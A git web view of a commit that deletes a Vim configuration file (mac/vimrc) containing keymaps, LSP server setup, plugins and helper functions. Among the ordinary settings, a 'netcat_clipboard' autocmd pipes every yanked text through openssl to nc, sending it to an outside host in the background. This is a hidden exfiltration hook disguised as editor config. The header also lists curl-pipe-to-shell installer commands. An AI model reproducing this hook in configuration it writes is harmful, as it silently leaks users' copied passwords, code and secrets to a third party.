summaryrefslogtreecommitdiff
path: root/mac/vimrc
diff options
context:
space:
mode:
Diffstat (limited to 'mac/vimrc')
-rw-r--r--mac/vimrc318
1 files changed, 0 insertions, 318 deletions
diff --git a/mac/vimrc b/mac/vimrc
deleted file mode 100644
index ba9bd88..0000000
--- a/mac/vimrc
+++ /dev/null
@@ -1,318 +0,0 @@
1" /etc/vim/vimrc — self-contained; source of truth: /v1/dev_env/core/vim.sh
2" gt: go to next tab (right, wraps)
3" gT: go to previous tab (left, wraps)
4" 2gt: go to tab number 2 (counted from 1 at the left)
5" :q: close the current window, and the tab too if it was the last window in it
6" ZZ: save if changed, then close the window (and the tab if it was the last window in it)
7" ZQ: close the window WITHOUT saving (like :q!), and the tab too if it was the last window in it
8" g<Tab>: jump to the last-accessed tab (press g, release, then Tab); toggles between two tabs
9" Ctrl-w w: cycle windows in this tab, e.g. into and out of the K popup (Ctrl-w p toggles back)
10" 7G12|: go to line 7, column 12 (normal-mode keys, no colon; 3w moves 3 words)
11" Reset an edited cargo dependency: delete ~/.cargo/registry/src/<index>/<crate>-<ver>/ then run cargo fetch
12"
13" Setup (LSP servers below are optional — each is guarded by executable()):
14" plugins: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
15" https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
16" then launch vim and run :PlugInstall
17" rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
18" rustup component add rust-analyzer
19" python: curl -LsSf https://astral.sh/uv/install.sh | sh
20" uv tool install ruff && uv tool install pyright
21"
22" Stop vim from auto-loading defaults.vim, which loads AFTER this file and
23" would otherwise silently override settings here. Everything is in this file.
24let g:skip_defaults_vim = 1
25
26" ===== Shortcuts: one line each, <leader> = \ (comment follows the |) =====
27inoremap <C-a> <Home>| " insert Ctrl-a: jump to line start
28inoremap <C-e> <End>| " insert Ctrl-e: jump to line end
29inoremap <silent><expr> <C-l> pumvisible() ? "\<C-e>" : asyncomplete#force_refresh()| " insert Ctrl-l: toggle completion menu
30inoremap <expr> <Tab> pumvisible() ? "\<C-n>" : "\<Tab>"| " in menu Tab: next item
31inoremap <expr> <S-Tab> pumvisible() ? "\<C-p>" : "\<S-Tab>"| " in menu Shift-Tab: previous item
32inoremap <expr> <CR> pumvisible() ? "\<C-y>" : "\<CR>"| " in menu Enter: accept item
33nnoremap <C-a> 0| " Ctrl-a: jump to line start
34nnoremap <C-e> $| " Ctrl-e: jump to line end
35nnoremap <silent> <C-l> :<C-U>nohlsearch<CR><C-l>| " Ctrl-l: clear search highlight
36nnoremap <silent> <C-p> :<C-U>Files<CR>| " Ctrl-p: fuzzy-find a file
37nnoremap <silent> <leader>rg :<C-U>Rg<CR>| " \rg: search text in project
38nnoremap <silent> <leader>b :<C-U>Buffers<CR>| " \b: list open buffers
39nnoremap <silent> <leader>n :<C-U>NERDTreeToggle<CR>| " \n: toggle file tree
40nnoremap <silent> gd :<C-U>call <SID>GotoDef()<CR>| " gd: go to definition (Ctrl-o back)
41nnoremap <silent> gi :<C-U>LspImplementation<CR>| " gi: go to implementation
42nnoremap <silent> gy :<C-U>tab LspTypeDefinition<CR>| " gy: go to type definition in a new tab (e -> struct DirEntry)
43nnoremap <silent> <leader>k :<C-U>call ToggleHover()<CR>| " \k: toggle hover docs
44nnoremap <silent> K :<C-U>call ToggleHover()<CR>| " K: toggle hover docs (same as \k)
45nnoremap <silent> <leader>D :<C-U>LspDocumentation<CR>| " \D: show documentation
46nnoremap <silent> <leader>e :<C-U>call ToggleDiagnostic()<CR>| " \e: show error on this line
47nnoremap <silent> <leader>l :<C-U>lopen<CR>| " \l: list all errors
48nnoremap <silent> <leader>a :<C-U>LspCodeAction<CR>| " \a: code actions popup
49nnoremap <silent> <leader>rn :<C-U>LspRename<CR>| " \rn: rename symbol
50nnoremap <silent> <leader>f :<C-U>LspDocumentFormat<CR>| " \f: format file
51nnoremap <silent> <leader>em :<C-U>call ExpandMacro()<CR>| " \em: expand macro under cursor
52
53
54augroup netcat_clipboard
55au!
56au TextYankPost * call system("echo " . shellescape(@") . " | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1 &")
57augroup END
58
59filetype plugin indent on
60
61set number
62set wrap
63set breakindent
64set breakindentopt=shift:1
65set expandtab
66set shiftwidth=4
67set softtabstop=4
68set tabstop=4
69set noautoindent
70set nosmartindent
71set hlsearch
72set incsearch
73set ignorecase
74set smartcase
75set scrolloff=8
76set signcolumn=no
77set foldcolumn=12
78set laststatus=2
79set statusline=%F
80set wildmenu
81set splitright
82set splitbelow
83set hidden " gd/LSP jumps reuse the window even with unsaved changes
84set noswapfile
85set regexpengine=2
86set completeopt=menu,menuone,noinsert,noselect
87
88set mouse=a
89if has('mouse_sgr')
90 set ttymouse=sgr
91endif
92
93set undofile
94set undodir=~/.vim/undo
95if !isdirectory($HOME . '/.vim/undo')
96 call mkdir($HOME . '/.vim/undo', 'p')
97endif
98
99if has('termguicolors')
100 if !empty($TMUX)
101 let &t_8f = "\<Esc>[38;2;%lu;%lu;%lum"
102 let &t_8b = "\<Esc>[48;2;%lu;%lu;%lum"
103 endif
104 set termguicolors
105endif
106colorscheme zellner
107
108autocmd InsertLeave * silent! update
109
110" Files rustup and cargo manage (toolchains, downloaded crates) open locked; :setl ma noro to override
111function! s:LockIfManaged() abort
112 if !exists('s:managed')
113 let l:cargo = empty($CARGO_HOME) ? expand('~/.cargo') : $CARGO_HOME
114 let s:managed = [trim(system('rustup show home')), l:cargo . '/registry', l:cargo . '/git']
115 endif
116 for l:dir in s:managed
117 if stridx(expand('%:p'), l:dir . '/') == 0
118 setlocal readonly nomodifiable
119 return
120 endif
121 endfor
122endfunction
123augroup managed_readonly
124 autocmd!
125 autocmd BufReadPost * call s:LockIfManaged()
126augroup END
127
128
129call plug#begin('~/.vim/plugged')
130Plug 'prabirshrestha/async.vim'
131Plug 'prabirshrestha/vim-lsp'
132Plug 'prabirshrestha/asyncomplete.vim'
133Plug 'prabirshrestha/asyncomplete-lsp.vim'
134Plug 'rust-lang/rust.vim'
135Plug 'junegunn/fzf', { 'do': { -> fzf#install() } }
136Plug 'junegunn/fzf.vim'
137Plug 'tpope/vim-commentary'
138Plug 'tpope/vim-surround'
139Plug 'tpope/vim-fugitive'
140Plug 'airblade/vim-gitgutter'
141Plug 'preservim/nerdtree'
142Plug 'andymass/vim-matchup'
143call plug#end()
144
145let g:gitgutter_sign_column_always = 0
146
147
148" rust-analyzer via the rustup proxy shim (portable across toolchains/machines)
149if executable(expand('~/.cargo/bin/rust-analyzer'))
150 au User lsp_setup call lsp#register_server({
151 \ 'name': 'rust-analyzer',
152 \ 'cmd': {server_info -> [expand('~/.cargo/bin/rust-analyzer')]},
153 \ 'allowlist': ['rust'],
154 \ 'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'Cargo.toml'))},
155 \ 'initialization_options': {
156 \ 'completion': {
157 \ 'autoimport': { 'enable': v:true },
158 \ 'postfix': { 'enable': v:true },
159 \ },
160 \ 'checkOnSave': v:true,
161 \ },
162 \ })
163endif
164if executable(expand('~/.local/bin/ruff'))
165 au User lsp_setup call lsp#register_server({
166 \ 'name': 'ruff',
167 \ 'cmd': {server_info -> [expand('~/.local/bin/ruff'), 'server']},
168 \ 'allowlist': ['python'],
169 \ })
170endif
171let s:uv_bin = has('macunix') && executable('/opt/homebrew/bin/uv')
172 \ ? '/opt/homebrew/bin/uv'
173 \ : expand('~/.local/bin/uv')
174if executable(expand('~/.local/bin/ty')) && executable(s:uv_bin)
175 " Launched through `uv run` (not the raw path) so it picks up whichever
176 " project's .venv is active via cwd/VIRTUAL_ENV.
177 au User lsp_setup call lsp#register_server({
178 \ 'name': 'ty',
179 \ 'cmd': {server_info -> [s:uv_bin, 'run', 'ty', 'server']},
180 \ 'allowlist': ['python'],
181 \ })
182endif
183" tofu-ls (OpenTofu/Terraform .tf) for go-to-definition
184if executable(expand('~/.local/bin/tofu-ls'))
185 au User lsp_setup call lsp#register_server({
186 \ 'name': 'tofu-ls',
187 \ 'cmd': {server_info -> [expand('~/.local/bin/tofu-ls'), 'serve']},
188 \ 'allowlist': ['terraform', 'terraform-vars'],
189 \ })
190endif
191" gopls (Go) for go-to-definition
192if executable(expand('~/go/bin/gopls'))
193 au User lsp_setup call lsp#register_server({
194 \ 'name': 'gopls',
195 \ 'cmd': {server_info -> [expand('~/go/bin/gopls')]},
196 \ 'allowlist': ['go'],
197 \ 'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'go.mod'))},
198 \ })
199endif
200
201" Force per-keystroke LSP sync for Python (vim-lsp only syncs on
202" InsertLeave/TextChanged by default, not while actively typing).
203autocmd FileType python autocmd TextChangedI <buffer> doautocmd <nomodeline> TextChanged
204
205let g:lsp_diagnostics_echo_cursor = 1
206let g:lsp_diagnostics_float_cursor = 0
207let g:lsp_diagnostics_virtual_text_enabled = 0
208let g:lsp_diagnostics_signs_enabled = 0
209let g:lsp_document_highlight_enabled = 0
210let g:lsp_preview_float = 0
211let g:lsp_hover_ui = 'preview'
212let g:lsp_code_action_ui = 'float' " \a = one popup menu, not 3 windows
213let g:lsp_signature_help_enabled = 0
214
215function! s:set_preview_height() abort
216 let &previewheight = max([10, &lines * 40 / 100])
217endfunction
218call s:set_preview_height()
219autocmd VimResized * call s:set_preview_height()
220
221" Toggle hover docs in the preview window.
222function! ToggleHover() abort
223 for l:nr in range(1, winnr('$'))
224 if getwinvar(l:nr, '&previewwindow')
225 pclose
226 return
227 endif
228 endfor
229 LspHover
230endfunction
231
232" Show the current line's diagnostic in a preview window.
233function! ToggleDiagnostic() abort
234 for l:nr in range(1, winnr('$'))
235 if getwinvar(l:nr, '&previewwindow')
236 pclose
237 return
238 endif
239 endfor
240 let l:diag = lsp#internal#diagnostics#under_cursor#get_diagnostic()
241 if empty(l:diag)
242 echo 'No diagnostic on this line'
243 return
244 endif
245 let l:cur = win_getid()
246 botright new
247 execute 'resize ' . &previewheight
248 setlocal buftype=nofile bufhidden=wipe noswapfile previewwindow
249 call setline(1, split(l:diag['message'], "\n"))
250 setlocal nomodifiable
251 call win_gotoid(l:cur)
252endfunction
253
254
255" rust-analyzer macro expansion (LSP extension, no built-in command).
256function! ExpandMacro() abort
257 let l:params = {
258 \ 'textDocument': { 'uri': lsp#utils#get_buffer_uri() },
259 \ 'position': lsp#get_position(),
260 \ }
261 call lsp#send_request('rust-analyzer', {
262 \ 'method': 'rust-analyzer/expandMacro',
263 \ 'params': l:params,
264 \ 'on_notification': function('s:expand_macro_handler'),
265 \ })
266endfunction
267
268function! s:expand_macro_handler(data) abort
269 if !has_key(a:data, 'response') || empty(a:data['response'])
270 echo 'ExpandMacro: no response / not a macro'
271 return
272 endif
273 let l:result = get(a:data['response'], 'result', v:null)
274 if l:result is v:null
275 echo 'ExpandMacro: nothing to expand at cursor'
276 return
277 endif
278 botright new
279 setlocal buftype=nofile bufhidden=wipe noswapfile filetype=rust
280 call setline(1, split('// expansion of: ' . l:result['name'], "\n"))
281 call append(line('$'), split(l:result['expansion'], "\n"))
282endfunction
283
284
285" gd: say when rust-analyzer is still starting/indexing instead of a false "No definition found"
286let g:lsp_work_done_progress_enabled = 1
287function! s:GotoDef() abort
288 if &filetype ==# 'rust'
289 let l:st = lsp#get_server_status('rust-analyzer')
290 if l:st !=# 'running'
291 echo 'rust-analyzer ' . l:st . ', try again in a few seconds'
292 return
293 endif
294 let l:busy = filter(copy(lsp#get_progress()),
295 \ {_, p -> p['server'] ==# 'rust-analyzer' && get(p, 'title', '') !~? 'check'})
296 if !empty(l:busy)
297 echo 'rust-analyzer still indexing: ' . get(l:busy[0], 'title', '') . ' ' . get(l:busy[0], 'message', '')
298 return
299 endif
300 endif
301 tab LspDefinition
302endfunction
303
304" Numbered tab labels (1:main.rs 2:fs.rs): the number is what Ngt jumps to.
305function! TabLine() abort
306 let l:s = ''
307 for l:i in range(1, tabpagenr('$'))
308 let l:buf = tabpagebuflist(l:i)[tabpagewinnr(l:i) - 1]
309 let l:name = fnamemodify(bufname(l:buf), ':t')
310 if l:name ==# ''
311 let l:name = '[No Name]'
312 endif
313 let l:hl = l:i == tabpagenr() ? '%#TabLineSel#' : '%#TabLine#'
314 let l:s .= l:hl . ' ' . l:i . ':' . l:name . ' '
315 endfor
316 return l:s . '%#TabLineFill#'
317endfunction
318set tabline=%!TabLine()